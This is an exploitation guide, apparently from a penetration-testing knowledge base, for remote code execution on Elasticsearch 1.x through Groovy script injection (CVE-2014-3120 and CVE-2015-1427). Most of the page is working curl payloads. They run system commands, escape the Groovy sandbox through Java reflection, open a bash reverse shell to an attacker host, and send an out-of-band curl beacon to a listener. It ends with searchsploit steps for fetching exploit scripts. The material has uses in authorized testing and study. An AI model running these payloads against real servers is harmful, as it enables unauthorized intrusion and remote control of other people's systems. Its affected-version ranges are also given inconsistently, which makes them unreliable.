# Elasticsearch RCE via Groovy Script Injection

- **URL:** https://hackindex.io/services/elasticsearch/exploitation/elasticsearch-rce-via-groovy-script
- **Path:** Elasticsearch > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/elasticsearch/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

## Elasticsearch Groovy RCE

Elasticsearch 1.x enabled dynamic Groovy scripting by default, allowing arbitrary Groovy code execution through the search API. CVE-2014-3120 is unsandboxed dynamic-scripting RCE where no sandbox is present at all. CVE-2015-1427 is a Groovy sandbox bypass that allows code execution even when the sandbox is enabled. These vulnerabilities are fixed in Elasticsearch 1.6+ and removed entirely in 2.x, but they appear regularly on older lab environments and legacy internal deployments.

The attack requires the REST API to be accessible. Unauthenticated access makes it trivial. Authenticated access with a user that can run searches is sufficient.

- Verify Version and Scripting State
- CVE-2014-3120: No Sandbox RCE (1.3.x and earlier)
- CVE-2015-1427: Groovy Sandbox Escape (1.3.0 to 1.5.x)
- Using searchsploit for Payload Reference

## Verify Version and Scripting State

Confirm the Elasticsearch version before attempting script-based exploitation. Dynamic scripting is only enabled by default on 1.x and only exploitable with these CVEs on specific sub-versions:

```bash
curl -sk "http://$TARGET_IP:9200/" | python3 -m json.tool
# {
#   "name": "node-1",
#   "cluster_name": "elasticsearch",
#   "version": {
#     "number": "1.4.2",
#     "build_flavor": "default"
#   }
# }
```

Versions before 1.2 are vulnerable to CVE-2014-3120 with dynamic scripting on by default and no sandbox. Versions 1.3.x before 1.3.8 and 1.4.x before 1.4.3 are vulnerable to CVE-2015-1427 Groovy sandbox escape. Versions 1.6+ have scripting disabled by default. Confirm scripting is active by running a benign script test first:

```bash
curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"test":{"script":"1+1"}}}'
# {
#   "hits": {
#     "hits": [
#       {
#         "fields": {
#           "test": [2]
#         }
#       }
#     ]
#   }
# }
```

A response returning 2 confirms dynamic scripting is active. If you get a script_lang_not_supported or disabled error, scripting is off and these CVEs are not applicable.

## CVE-2014-3120: No Sandbox RCE (1.3.x and earlier)

On versions without the sandbox, Groovy executes directly. The script_fields parameter accepts arbitrary Groovy including Java runtime calls. Confirm command execution with a simple id check:

```bash
curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"cmd":{"script":"import java.util.*;import java.io.*;def cmd=\"id\";def p=cmd.execute();p.waitFor();new String(p.text)"}}}'
# {
#   "hits": {
#     "hits": [
#       {
#         "fields": {
#           "cmd": ["uid=1000(elasticsearch) gid=1000(elasticsearch) groups=1000(elasticsearch)\n"]
#         }
#       }
#     ]
#   }
# }
```

Command output in the cmd field confirms RCE. Get a reverse shell by replacing the id command with a bash reverse shell payload. Set up the listener first:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"cmd\":{\"script\":\"import java.util.*;import java.io.*;def cmd=\\\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\\";def p=Runtime.getRuntime().exec(new String[]{'/bin/bash','-c',cmd});p.waitFor();new String(p.text)\"}}}"
```

## CVE-2015-1427: Groovy Sandbox Escape (1.3.0 to 1.5.x)

The Groovy sandbox introduced in 1.3.0 can be escaped by using Java reflection to access restricted classes. The following payload bypasses the sandbox and executes system commands:

```bash
curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"rce":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.String.class).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"}}}'
```

The Runtime.exec call via reflection bypasses the sandbox method whitelist. This returns a Process object rather than output text, so combine with a callback or out-of-band technique to confirm execution. A curl beacon to your listener is cleaner than trying to capture output inline:

```bash
curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"rce\":{\"script\":\"java.lang.Math.class.forName('java.lang.Runtime').getMethod('exec',java.lang.String.class).invoke(java.lang.Math.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'curl http://$LHOST:$LPORT/rce-confirm')\"}}}"
```

```bash
nc -lvnp $LPORT
# GET /rce-confirm HTTP/1.1
# Host: $LHOST:$LPORT
# User-Agent: curl/7.x
```

An incoming request to the listener confirms out-of-band code execution. Follow up with a reverse shell payload using the same reflection-based exec call.

## Using searchsploit for Payload Reference

Searchsploit has documented payloads for both CVEs that are useful as a reference if the above variants need adjustment for the specific sub-version:

```bash
searchsploit elasticsearch
# Elasticsearch - Remote Code Execution (CVE-2014-3120)  | exploits/linux/webapps/33370.py
# Elasticsearch - Remote Code Execution (CVE-2015-1427)  | exploits/linux/webapps/36337.py
```

```bash
searchsploit -m exploits/linux/webapps/36337.py
```

## References

- [Elasticsearch: Security Advisories](https://www.elastic.co/community/security) - CVE-2014-3120 and CVE-2015-1427 advisory details and affected versions
- [Exploit-DB 36337: Elasticsearch CVE-2015-1427](https://www.exploit-db.com/exploits/36337) - Groovy sandbox escape payload reference for 1.3.0 to 1.5.x
